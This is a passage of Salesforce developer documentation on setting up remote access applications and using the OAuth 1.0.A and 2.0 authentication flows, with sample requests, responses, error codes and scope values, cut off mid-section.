Available in: All Editions Managed Packages are not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Before you start to use remote access applications, you need to consider the following: The version of the OAuth protocol to use. The type of application your developer is building. This determines which authentication flow to use. Whether the application should be packaged.

Once you have made these decisions, you can define your remote access application.

Choosing a Version of the OAuth Protocol


Salesforce.com recommends that developers use the OAuth 2.0 protocol. OAuth 2.0 places a strong emphasis on developer simplicity, and you may find it easier to develop and integrate applications. If you have an existing client, or platform that leverages OAuth 1.0.A, it may be less work to use that version, than to re-engineer it to use OAuth 2.0.

Determining Which Authentication Flow to Use


OAuth 1.0.A only supports a single authentication flow. See OAuth 1.0.A Authentication Flow. OAuth 2.0 supports a number of different application flows. These are dependent on the type of client you are developing. Web serviceOAuth 2.0 Web Server Authentication Flow Mobile or desktop application, or JavaScriptOAuth 2.0 User-Agent Flow

Deciding Whether to Package a Remote Access Application


You might be required by an administrator to limit the access your application has to the assets within an organization. You can package your application using package access controls to achieve this level of control and easily distribute your application. Note: You can't add remote access applications to unmanaged packages.

When defining a remote access application, take the following into consideration when packaging: Once you add a remote access application to a package, you cannot remove it. The only way to remove a remote access application from a package is to delete it from your organization. When you delete a remote access application contained in a managed package, access to that application is immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version of the managed package is released.

1987

Develop

Defining Remote Access Applications

Even if you change the name of the application, the consumer key and consumer secret are not regenerated.

See Also:
Remote Access Application Overview Remote Access Applications and OAuth Terminology Defining Remote Access Applications

Defining Remote Access Applications


Available in: All Editions Managed Packages are not available in Database.com

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

Before you start to use remote access applications, you need to consider the following: The version of the OAuth protocol to use. The type of application your developer is building. This determines which authentication flow to use. Whether the application should be packaged.

For more information, see Getting Started with Remote Access Applications on page 1986. To define a remote access application: 1. To define a remote access application, click Your Name > Setup > Develop > Remote Access, and click New. To define a remote access application contained in a managed package, click Your Name > Setup > Create > Packages, click the name of the managed package, then click New in the Remote Access section. Important: Once you add a remote access application to a package, you cannot remove it. The only way to remove a remote access application from a package is to delete it from your organization. 2. Specify the name of the application. This is required. Salesforce.com recommends that the name of the remote access application match the name of the actual application. 3. Specify the Callback URL, which is required and represents the URL that the user will be returned to after they approve access for the application. This URL uses https or another protocol. This value can also be set to oob. It cannot use http, except if the callback is to your localhost. Tip: OAuth 2.0 refers to the callback URL as redirect_uri.

4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (use https). The logo can be a maximum of 200x125 pixels. It is displayed on a white background. 5. Specify your Contact Phone and Contact Email. Contact Email is required.

1988

Develop

Authenticating Remote Access Application OAuth

6. In the Info URL field, you can specify a URL where users can go to get more information about the application. The URL must use https or http protocol, can't contain spaces, and has a maximum length of 2000 characters. 7. Enter a description of the application. When a user grants access to an application, this description displays. 8. For applications, you can specify No user approval required. This means the application is automatically approved; that is, the end-user is never asked to approve access. This only works for end-users within your own organization. 9. If you're setting up an application to login and act on its own behalf, check the Public Key Certificate checkbox. You can then browse to locate and upload the authentication certificate issued by your identity provider. 10. Click Save. When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer key and consumer secret are available globally in all Salesforce instances. Note: After you save a remote access definition, it may take a few minutes before it becomes available.

The consumer should store the consumer key and consumer secret in their application. The keys are used in authenticating a user using the remote access application. Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.

See Also:
Remote Access Application Overview Getting Started with Remote Access Applications Viewing Remote Access Application Details Remote Access Applications and OAuth Terminology

Authenticating Remote Access Application OAuth


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

When a user requests their Salesforce data from within the external application (the consumer's page), the user must be authenticated by Salesforce. There are several steps in each authentication flow, as dictated by the OAuth standard and what is trying to access Salesforce. Salesforce supports the following authentication flows: OAuth 1.0.AThis version of OAuth has only one flow. OAuth 2.0 Web serverThe Web server authentication flow is used by applications that are hosted on a secure server. A critical aspect of the Web server flow is that the server must be able to protect the consumer secret.

1989

Develop

Authenticating Remote Access Application OAuth

OAuth 2.0 user-agentThe user-agent authentication flow is used by client applications (consumers) residing in the user's device. This could be implemented in a browser using a scripting language such as JavaScript, or from a mobile device or a desktop application. These consumers cannot keep the client secret confidential. OAuth 2.0 refresh token flowAfter the consumer has been authorized for access, they can use a refresh token to get a new access token (session ID.) This is only done after the consumer already has received an access token using either the Web server or user-agent flow. SAML assertion flowThe SAML assertion flow is an alternative for organizations that are currently using SAML to access Salesforce using single sign-on, and want to access the Web services API the same way. The SAML assertion flow can only be used inside a single organization. You do not have to create a remote access application to use this assertion flow. OAuth 2.0 username and passwordThe username-password authentication flow can be used as a replacement for an existing login when the consumer already has the user's credentials. Caution: This OAuth authentication flow involves passing the user's credentials back and forth. Salesforce recommends using this authentication flow only when necessary.

For all authentication flows, if a user is asked to authorize access and instead clicks the link indicating they are not the currently signed in user, the current user is logged out and the authorization flow restarts with authenticating the user.

OAuth 2.0 Endpoints


The two primary endpoints used with OAuth 2.0 are: Authorizationhttps://login.salesforce.com/services/oauth2/authorize Tokenhttps://login.salesforce.com/services/oauth2/token

To revoke OAuth 2.0 tokens make a request to: https://login.salesforce.com/services/oauth2/revoke See Revoking OAuth Tokens on page 1990 for details on revoking access. For Force.com Sandbox, use test.salesforce.com instead of login.salesforce.com.

See Also:
Remote Access Application Overview Getting Started with Remote Access Applications OAuth 1.0.A Authentication Flow OAuth 2.0 Web Server Authentication Flow OAuth 2.0 User-Agent Flow OAuth 2.0 Refresh Token Flow OAuth 2.0 Username-Password Flow

Revoking OAuth Tokens

1990

Develop

Authenticating Remote Access Application OAuth

Available in: All Editions

When users request their data from within the external application (the consumer's page), they are authenticated. You can revoke their access tokens, or the refresh token and all related access tokens. Developers may use this feature when configuring a Log Out button in their application. Revoking Tokens To revoke OAuth 2.0 tokens, use the relocation endpoint:
https://login.salesforce.com/services/oauth2/revoke

Construct a POST request that includes the following parameters using the application/x-www-form-urlencoded format in the HTTP request entity-body. For example:
POST /revoke HTTP/1.1 Host: https://login.salesforce.com/services/oauth2/revoke Content-Type: application/x-www-form-urlencoded token=currenttoken

If an access token is included, we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any associated access tokens. The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error conditions, a status code 400 is used along with one of the following error responses.
unsupported_token_typetoken type not supported invalid_tokenclient identifier invalid

For Force.com Sandbox, use test.salesforce.com instead of login.salesforce.com. JSONP Support The revocation endpoint also accepts GET requests with an additional callback parameter, and returns the response with content type application/javascript. For example:
https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=package.myCallback

If the request is successful, a callback is sent to the JavaScript function set in the callback parameter of the GET:
package.myCallback({});

If the response is not successful, a callback is sent with an error code:


package.myCallback({"error":"invalid_token"});

1991

Develop

Authenticating Remote Access Application OAuth

Blind GETs We also support blind GET requests with the query string parameter token and the current token. If an access token is included, we invalidate it and revoke the token. If a refresh token is included, we revoke it as well as any associated access tokens. For example:
https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

The authorization server indicates successful processing of the request by returning an HTTP status code 200. For all error conditions, status code 400 is used.

See Also:
Authenticating Remote Access Application OAuth Getting Started with Remote Access Applications Remote Access Application Overview Authenticating Remote Access Application OAuth Remote Access Application Overview Authenticating Remote Access Application OAuth

OAuth 1.0.A Authentication Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The following diagram displays the authentication flow steps for OAuth 1.0.A. The individual step descriptions follow. OAuth 1.0.A has a single authentication flow.

1992

Develop

Authenticating Remote Access Application OAuth

1. 2. 3. 4. 5. 6.

The consumer requests a RequestToken. Salesforce verifies the request and returns a request token. The consumer should redirect the user to Salesforce, where they are prompted to log in. Salesforce authorizes the user. Once the user is authorized, the consumer requests an AccessToken. Salesforce verifies the request and grants the token. After the token is granted, the consumer accesses the data either through their application or through the Force.com Web services API. 7. Salesforce verifies the request and allows access to the data. The following sections go into more details about each of these steps.

1993

Develop

Authenticating Remote Access Application OAuth

Tip: To use a remote access application with a Force.com Sandbox, use test.salesforce.com instead of login.salesforce.com in the following sections. For the list of possible error codes returned by Salesforce, see OAuth 1.0.A Error Codes on page 1997. Requesting a RequestToken When a consumer makes an initial request to Salesforce, a RequestToken is returned if the request is valid. The following steps contain more detail for the developer who is using a remote access application to request Salesforce data. 1. A consumer application needs to access Salesforce data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The

request contains the following: A valid request for a RequestToken, which contains the following OAuth parameters.
oauth_consumer_key oauth_signature_methodmust be HMAC-SHA1. oauth_signature oauth_timestamp oauth_nonce oauth_versionoptional, must be 1.0 if included oauth_callbackmust be one of the following:

URL hosted by the consumer, for example,


https://www.appirio.com/sfdc_accounts/access_token_ready.html. Note that this URL uses

https or another protocol. It cannot use http. . oob, meaning out of band.

A signature created according to the OAuth specification for HMAC-SHA1

2. After Salesforce receives the request, Salesforce: Validates the request with its own copy of the consumer secret Generates a response containing RequestToken and RequestTokenSecret in the HTTP body as name/value pairs Sends the response back to the consumer

A RequestToken is only valid for 15 minutes, plus three minutes to allow for differences between machine clocks. 3. The consumer directs the user to a Salesforce login page, as specified in the next section. Authorizing the User After the request from the consumer is made to Salesforce, the user must be authenticated by Salesforce before the process continues. The following contains more detailed steps about the login procedure for developers who are using a remote access application to request Salesforce data. 1. The consumer redirects the user to the following location, where they are prompted to log in:
https://login.salesforce.com/setup/secur/RemoteAccessAuthorizationPage.apexp. The appropriate

GET query parameters are appended to this URL.


oauth_token the RequestToken oauth_consumer_key

1994

Develop

Authenticating Remote Access Application OAuth

Note: If an oauth_callback parameter is included, it is ignored.

2. The Remote Access Authorization page displays. 3. If the user approves access for the consumer, Salesforce generates the AccessToken and AccessTokenSecret. Note: The number of concurrent access tokens that can be granted by a user to an application is limited. The default is five per application per user. If this authorization exceeds the limit for the organization, the user is notified that their authorization automatically revokes the token or tokens for this application that haven't been used for the longest period of time. 4. Salesforce verifies the callback URL (either specified in the remote access application definition pages or in the oauth_callback parameter from the previous stage). One of the following redirections occurs. If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access application definition page has a valid value, the user is redirected to that URL. If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.

5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification token from Salesforce or the validation code from the end user. Requesting the AccessToken Once the user has been authenticated, the consumer can exchange a RequestToken for an AccessToken. The following contains more detailed steps regarding the exchange of tokens for developers who are using a remote access application to request Salesforce data. 1. The consumer makes an HTTPS GET or POST request to
https://login.salesforce.com/_nc_external/system/security/oauth/AccessTokenHandler, with

the required parameters in the query or post data.


oauth_consumer_key oauth_signature_method oauth_signature oauth_timestamp oauth_token oauth_nonce oauth_verifier oauth_versionoptional, must be 1.0 if included

2. Salesforce validates the following elements. The consumer secret The consumer key The signature That the RequestToken has never been used before The timestamp (must be within 15 minutes, plus three minutes to allow for differences between machine clocks) That the nonce has never used before

3. Upon validation, Salesforce returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value pairs.

1995

Develop

Authenticating Remote Access Application OAuth

Generating oauth_signature for Login You can access Salesforce using either the user interface, or using the API. The oauth_signature used for login is generated differently, depending on which method you use. User interfaceuse https://login.salesforce.com for generating the signature APIuse https://login.salesforce.com/services/OAuth/type/api-version for generating the signature.
type must have one of the following values.

uPartner WSDL cEnterprise WSDL For example, https://login.salesforce.com/services/OAuth/u/17.0. Accessing Salesforce Data Using the Consumer Application Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data. The following contains more detailed steps regarding accessing data for developers who are using a remote access application to request Salesforce data. 1. The consumer makes an HTTPS POST request to https://login.salesforce.com, with the required parameters in the authorization header.
oauth_consumer_key oauth_token oauth_signature_method oauth_signature oauth_timestamp oauth_nonce oauth_version (optional, must be 1.0 if included)

2. Salesforce validates the request and sends a valid session ID to the consumer. Accessing Salesforce Data Using the API Once the consumer possesses a valid AccessToken, a remote access application can request to access Salesforce data using the Force.com Web services API. Note: Your organization must have access to both the API and to the remote access application. Contact your salesforce.com representative for more information. The following contains more detailed steps regarding accessing data for developers who are using a remote access application to request Salesforce data. 1. The consumer makes an HTTPS POST request to Salesforce. The URL must have the following format:
https://login.salesforce.com/services/OAuth/type/api-version
type must have one of the following values.

uPartner WSDL cEnterprise WSDL


api-version must be a valid API version.

The authorization header must have the following parameters.

1996

Develop

Authenticating Remote Access Application OAuth

oauth_consumer_key oauth_token oauth_signature_method oauth_signature oauth_timestamp oauth_nonce oauth_version (optional, must be 1.0 if included)

2. Salesforce validates the request and sends a valid session ID to the consumer. The response header includes the following.
<response> <metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK </metadataServerUrl> <sandbox>false</sandbox> <serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK </serverUrl> <sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId> </response>

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth Using the Access Token Using Identity URLs

OAuth 1.0.A Error Codes


Salesforce returns the following error codes during the OAuth 1.0.A Authentication Flow. The returned error code is based on the error received. Fault Code Error 1701 1702 1703 1704 1705 1706 1707 Failed: Nonce Replay Detected Failed: Missing Consumer Key Parameter Failed: Invalid Access Token Failed: Version Not Supported Failed: Invalid Timestamp Failed: Invalid Nonce Failed: Missing OAuth Token Parameter You must specify 1.0 for the oauth_version parameter. The timestamp is one of the following: missing, in the future, too old, or malformed. The Nonce is missing. Notes A Nonce can only be used once.

1997

Develop

Authenticating Remote Access Application OAuth

Fault Code Error 1708 1709 1710 Failed: IP Address Not Allowed Failed: Invalid Signature Method Failed: Invalid Callback URL

Notes

The RequestToken contains an invalid oauth_signature_method parameter. The RequestToken contains an invalid oauth_callback parameter. Value must be either oob or a valid URL that uses https. The AccessToken. contains an invalid oauth_verifier parameter. Can only attempt to exchange a RequestToken for an AccessToken three times. The remote access application has been deleted from the Salesforce organization. Either the Force.com Web services API is not enabled for the organization, or OAuth API access has been disabled for the organization.

1711 1712 1713 1716

Failed: Invalid Verifier Failed: Get Access Token Limit Exceeded Failed: Consumer Deleted Failed: OAuth Api Access Disabled

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 1.0.A Authentication Flow

OAuth 2.0 Web Server Authentication Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The Web server authentication flow is used by applications that are hosted on a secure server. A critical aspect of the Web server flow is that the server must be able to protect the consumer secret. The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.

1998

Develop

Authenticating Remote Access Application OAuth

1. 2. 3. 4.

The Web server redirects the user to Salesforce to authenticate and authorize the server to access data on their behalf. After the user approves access, the Web server receives the callback. After obtaining the authorization code, the consumer passes back the authorization code to obtain an access token. After validating the authorization code, Salesforce passes back a response token. If there was no error, the response token includes an access code, a refresh token, and additional information. 5. After the token is granted, the consumer accesses their data. After a consumer has an access token, they can use the access token to access Salesforce data on the end user's behalf and use a refresh token to get a new access token if it becomes invalid for any reason. Redirect User to Obtain Access Authorization To obtain authorization from the user to access Salesforce data on his or her behalf, the client redirects the user's browser to the authorization endpoint with the following parameters:
response_typeValue must be code for this flow. client_idConsumer key from the remote access application definition. scopeThe scope parameter allows you to fine-tune what the client application can access in a Salesforce organization.

See Scope Parameter Values on page 2006 for valid parameters. redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in the remote access application definition exactly, or approval fails. This value must be URL encoded.

1999

Develop

Authenticating Remote Access Application OAuth

stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional.

This value must be URL encoded. immediateDetermines whether the user should be prompted for login and approval. This parameter is optional. The value must be true or false if specified. Default value is false. Note the following: If set to true, and if the user is currently logged in and has previously approved the client_id, Salesforce skips the approval step. If set to true and the user is not logged in or has not previously approved the client, Salesforce immediately terminates with the immediate_unsuccessful error code.

displayChanges the login and authorization pages' display type. This parameter is optional. The only values Salesforce

supports are:
pageFull-page authorization screen. This is the default value if none is specified. popupCompact dialog optimized for modern web browser popup windows. touchmobile-optimized dialog designed for modern smartphones such as Android and iPhone. mobilemobile optimized dialog designed for less capable smartphones such as BlackBerry OS 5.

In order to initiate the flow, the Web server generally forms a link, or sends an HTTP redirect to the browser. The following is an example of a request to an authorization endpoint from a Web server client:
https://login.salesforce.com/services/oauth2/authorize?response_type=code&client_id= 3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA 9GE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp&state=mystate

If the user is logged in, Salesforce redirects them to the approval page. If the user is not logged in, they are asked to log in, then redirected to the approval page where they grant access to the application. If the user has already approved access once, they don't have to approve access again. Web Server Received Callback Once the user approves the access, they are redirected to the URI specified in redirect_uri with the following values in the query string:
codeAuthorization code the consumer must use to obtain the access and refresh tokens stateState that was passed into the approval step. This isn't included if the state parameter wasn't included in the

original query string. If the user has already approved the access once, they do not have to approve access again. The following is an example of the request received by the redirect_uri:
https://www.mysite.com/code_callback.jsp?code=aPrxsmIEeqM9&state=mystate

If the user denies the application, they are redirected to the redirect_uri with the following values in the query string:
errorValue is access-denied. stateState that was passed into the approval step. This isn't included if the state parameter wasn't included in the

original query string. For example:


https://www.mysite.com/code_callback.jsp?error=access-denied&state=mystate

If the user denies access, or an error occurs during this step, the response contains an error message containing these parts:

2000

Develop

Authenticating Remote Access Application OAuth

errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP GET access_deniedend-user denied authorization redirect_uri_missingredirect_uri not provided redirect_uri_mismatchredirect_uri mismatch with remote access application definition immediate_unsuccessfulimmediate unsuccessful invalid_scoperequested scope is invalid, unknown, or malformed

stateState that was passed into the approval step. This isn't included if the state parameter wasn't included in the

original query string. Web Server Exchanges Verification Code for Access Token After obtaining the authorization code, the Web server exchanges the authorization code for an access token. The consumer should make a POST directly to the token endpoint, with the following parameters:
grant_typeValue must be authorization_code for this flow. client_idConsumer key from the remote access application definition. client_secretConsumer secret from the remote access application definition. redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in

the remote access application definition exactly, and is the same value sent by the initial redirect. See Redirect User to Obtain Access Authorization on page 1999. codeAuthorization code obtained from the callback after approval. formatExpected return format. This parameter is optional. The default is json. Values are: urlencoded json xml

The following is an example of the POST body sent out-of-band:


POST /services/oauth2/token HTTP/1.1 Host: login.salesforce.com grant_type=authorization_code&code=aPrxsmIEeqM9PiQroGEWx1UiMQd95_5JUZ VEhsOFhS8EVvbfYBBJli2W5fn3zbo.8hojaNW_1g%3D%3D&client_id=3MVG9lKcPoNI NVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCs cA9GE&client_secret=1955279925675241571& redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fcode_callback.jsp

Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one of the following:
Accept: application/json Accept: application/xml Accept: application/x-www-form-urlencoded

Note the following: Wildcard accept headers are allowed. */* is accepted and returns JSON.

2001

Develop

Authenticating Remote Access Application OAuth

A list of values is also accepted and is checked left-to-right. For example:


application/xml,application/json,application/html,*/* returns XML. The format parameter takes precedence over the accept request header.

Salesforce Responds with Access Token After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.

You should treat it like the user's password and use appropriate measures to protect it. instance_urlURL indicating the instance of the user's organization. In this example, the instance is na1: https://na1.salesforce.com. ididentity URL that can be used to both identify the user as well as query for more information about the user. See Using Identity URLs on page 2016. signatureBase64-encoded HMAC-SHA256 signature signed with the consumer's private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

The following is an example response from Salesforce:


{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P", "issued_at":"1278448101416","refresh_token":"5Aep8614iLM.Dq661ePDmPEgaAW9 Oh_L3JKkDpB4xReb54_pZebnUG0h6Sb4KUVDpNtWEofWM39yg==","instance_url": "https://na1.salesforce.com","signature":"CMJ4l+CCaPQiKjoOEwEig9H4wqhpuLSk 4J2urAe+fVg=","access_token":"00Dx0000000BV7z!AR8AQP0jITN80ESEsj5EbaZTFG0R NBaT1cyWk7TrqoDjoNIWQ2ME_sTZzBjfmOE6zMHq6y8PIW4eWze9JksNEkWUl.Cju7m4"}

If an error occurs during this step, the response contains an error message with these parts:
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP POST invalid_client_credentialsclient secret invalid invalid_grantinvalid authorization code invalid_grantIP restricted or invalid login hours redirect_uri_mismatchredirect_uri not provided redirect_uri_mismatchredirect_uri mismatch with remote access application definition inactive_useruser has been set to inactive by the administrator inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of login attempts has been exceeded

2002

Develop

Authenticating Remote Access Application OAuth

Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Refresh Token Flow Using the Access Token Using Identity URLs

OAuth 2.0 User-Agent Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The user-agent authentication flow is used by client applications (consumers) residing in the user's device. This could be implemented in a browser using a scripting language such as JavaScript, or from a mobile device or a desktop application. These consumers cannot keep the client secret confidential. The authentication of the consumer is based on the user-agent's same-origin policy. Unlike the other authentication flows, the client application receives the access token in the form of an HTTP redirection. The client application requests the authorization server to redirect the user-agent to another web server or local resource accessible to the user-agent, which is capable of extracting the access token from the response and passing it to the client application. Note that the token response is provided as a hash (#) fragment on the URL. This is for security, and prevents the token from being passed to the server, as well as to other servers in referral headers. This user-agent authentication flow doesn't utilize the client secret since the client executables reside on the end-user's computer or device, which makes the client secret accessible and exploitable. Caution: Because the access token is encoded into the redirection URI, it might be exposed to the end-user and other applications residing on the computer or device. If you are authenticating using JavaScript, Salesforce recommends calling window.location.replace(); to remove the callback from the browsers history. The following diagram displays the authentication flow steps for Web server clients. The individual step descriptions follow.

2003

Develop

Authenticating Remote Access Application OAuth

1. The client application directs the user to Salesforce to authenticate and authorize the application. 2. The user must always approve access for this authentication flow. After approving access, the application receives the callback from Salesforce. After a consumer has an access token, they can use the access token to access Salesforce data on the end user's behalf and a refresh token to get a new access token if it becomes invalid for any reason. The user-agent flow does not support out-of-band posts. Direct User to Salesforce to Obtain Access Token To obtain authorization from the user to access Salesforce data on his or her behalf, the client directs the user to the authorization endpoint with the following parameters:
response_typeValue must be token for this flow. client_idConsumer key from the remote access application definition. redirect_uriURI to redirect the user to after approval. This must match the value in the Callback URL field in

the remote access application definition exactly. This value must be URL encoded. stateAny state the consumer wants reflected back to it after approval, during the callback. This parameter is optional. scopeThe scope parameter allows you to fine-tune what the client application can access in a Salesforce organization. See Scope Parameter Values on page 2006 for valid parameters. displayChanges the login page's display type. This parameter is optional. The only values Salesforce supports are: pageFull-page authorization screen. This is the default value if none is specified. popupCompact dialog optimized for modern web browser popup windows. touchmobile-optimized dialog designed for modern smartphones, such as Android and iPhone.

The following is an example URL where the user is directed to:


https://login.salesforce.com/services/oauth2/authorize?response_type=token& client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD

2004

Develop

Authenticating Remote Access Application OAuth

ZrXcPCmBv4o.8ds.5iE&redirect_uri=https%3A%2F%2Fwww.mysite.com%2Fuser_callback.jsp& state=mystate

User Approves Access and Client Receives Callback from Salesforce The user is asked to log in to Salesforce if they are not already logged in. Then Salesforce displays an approval page, asking the user to approve the application access. If the user approves the access, they are redirected to the URI specified in redirect_uri with the following values after the hash sign (#). This is not a query string.
access_tokenSalesforce session ID that can be used with the Web services API. refresh_tokenToken that can be used in the future to obtain new access tokens (sessions). This value is a secret.

You should treat it like the user's password and use appropriate measures to protect it. Note: The refresh token for the user-agent flow is only issued under one of the following circumstances: The redirect URL uses a custom protocol that is not HTTPS. The redirect URL is exactly https://login.salesforce.com/services/oauth2/success, or on Force.com Sandbox, https://test.salesforce.com/services/oauth2/success.
instance_urlURL indicating the instance of the user's organization. In this example, the instance is na1: https://na1.salesforce.com. ididentity URL that can be used to both identify the user as well as query for more information about the user. See

Using Identity URLs on page 2016. signatureBase64-encoded HMAC-SHA256 signature signed with the consumer's private key containing the concatenated ID and issued_at. This can be used to verify the identity URL was not modified since it was sent by the server. issued_atWhen the signature was created.

The following is an example of the callback from the server. Note the response is behind a hash, rather than as HTTP query parameters:
https://www.mysite.com/user_callback.jsp#access_token=00Dx0000000BV7z%21AR8 AQBM8J_xr9kLqmZIRyQxZgLcM4HVi41aGtW0qW3JCzf5xdTGGGSoVim8FfJkZEqxbjaFbberKGk 8v8AnYrvChG4qJbQo8&refresh_token=5Aep8614iLM.Dq661ePDmPEgaAW9Oh_L3JKkDpB4xR eb54_pZfVti1dPEk8aimw4Hr9ne7VXXVSIQ%3D%3D&expires_in=7200&state=mystate

If the user denies access or an error occurs during this step, they are redirected to the redirect_uri with an error code and the description of the error in the URI, after the hash tag (#). This is not a query string.
errorError code error_descriptionDescription of the error with additional information.

unsupported_response_typeresponse type not supported invalid_client_idclient identifier invalid invalid_requestHTTPS required invalid_requestmust use HTTP GET invalid_requestout-of-band not supported access_deniedend-user denied authorization redirect_uri_missingredirect_uri not provided redirect_uri_mismatchredirect_uri mismatch with remote access object immediate_unsuccessfulimmediate unsuccessful invalid_grantinvalid user credentials invalid_grantIP restricted or invalid login hours inactive_useruser is inactive

2005

Develop

Authenticating Remote Access Application OAuth

inactive_orgorganization is locked, closed, or suspended rate_limit_exceedednumber of logins exceeded invalid_scoperequested scope is invalid, unknown, or malformed Any login error not listed receives a generic authentication failure with text describing the error. For example, LOGIN_ERROR_INVALID_PASSWORD would have the following error response:
{"error":"authentication_failure","error_description":"invalid password"}

stateState that was passed into the approval step. This isn't included if the state parameter wasn't included in the

original query string. The following is an example error redirect URI:


https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate

See Also:
Remote Access Application Overview Authenticating Remote Access Application OAuth OAuth 2.0 Refresh Token Flow Using the Access Token Using Identity URLs

Scope Parameter Values


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

The scope parameter allows you to fine-tune what the client application can access in a Salesforce organization. You can specify more than one scope at a time. Separate them with a space. If you do not provide a scope, you are implicitly setting the scopes parameter to include all of the following values:
id api refresh_token (only applicable if a refresh token would normally be issued)

Regardless of which scope you pass, you always have access to the identity URLs. Here is a sample request setting the scopes parameter with the api, id, and web values:
http://localhost:9088/services/oauth2/authorize?response_type=token&client_ id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://localhost:9088/qa/security/oauth /useragent_flow_callback.jsp&scope=api id web

2006

Develop

Authenticating Remote Access Application OAuth

The valid scope values are: Value


api

Description Allows access to the current, logged-in users account over the APIs, such as the REST API or Bulk API. Allows access to only the Chatter API URLs. Allows access to all data accessible by the current, logged-in user. Allows access only to the identity URL service. See Using Identity URLs on page 2016. Allows a refresh token to be returned if you are eligible to receive one. Allows access to Visualforce pages. Allows the ability to use the access_token on the Web.

chatter_api full id refresh_token visualforce web

OAuth 2.0 Refresh Token Flow


Available in: All Editions

User Permissions Needed To manage, create, edit, and delete OAuth applications: Manage Remote Access

After the consumer has been authorized for access, they can use a refresh token to get a new access token (session ID.) This is only done after the consumer already has received an access token using either the Web server or user-agent flow. It is up to the consumer to determine when an access token is no longer valid, and when to apply for a new one. The following are the steps for the refresh token authentication flow. More detail about each step follows: 1. The consumer uses the existing refresh token to request a new access token. 2. After the request is verified, Salesforce sends a response to the client. Consumer Requests Updated Access Token A consumer can use the refresh token to get a new session as needed. The consumer should make POST request to the token endpoint, with the following parameters:
grant_typeValue must be refresh_token for this flow. refresh_tokenRefresh token from the approval step. client_idConsumer key from the remote access application definition. client_secretConsumer secret from the remote access application definition. This parameter is optional. formatExpected return format. This parameter is optional. The default is json. Values are:

urlencoded

2007

Develop

Authenticating Remote Access Application OAuth

json xml The following example is the out-of-band POST body to the token endpoint:
POST /services/oauth2/token HTTP/1.1 Host: https://login.salesforce.com/ grant_type=refresh_token&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLM82HnFVVX19KY1uA5mu0 QqEWhqKpoW3svG3XHrXDiCQjK1mdgAvhCscA9GE&client_secret=1955279925675241571 &refresh_token=your token here

Instead of using the format parameter, the client can also specify the returned format in an accept-request header using one of the following:
Accept: application/json Accept: application/xml Accept: application/x-www-form-urlencoded

Salesforce Server Sends a Response After the request is verified, Salesforce sends a response to the client. The following parameters are in the body of the response:
access_tokenSalesforce session ID that can be used with the Web services API. instance_urlURL indicating the instance of the user's organization. In this example, the instance is na1: https://na1.salesforce.com. ididentity URL that can be used to both identify the user as well as query for more information about the user. See

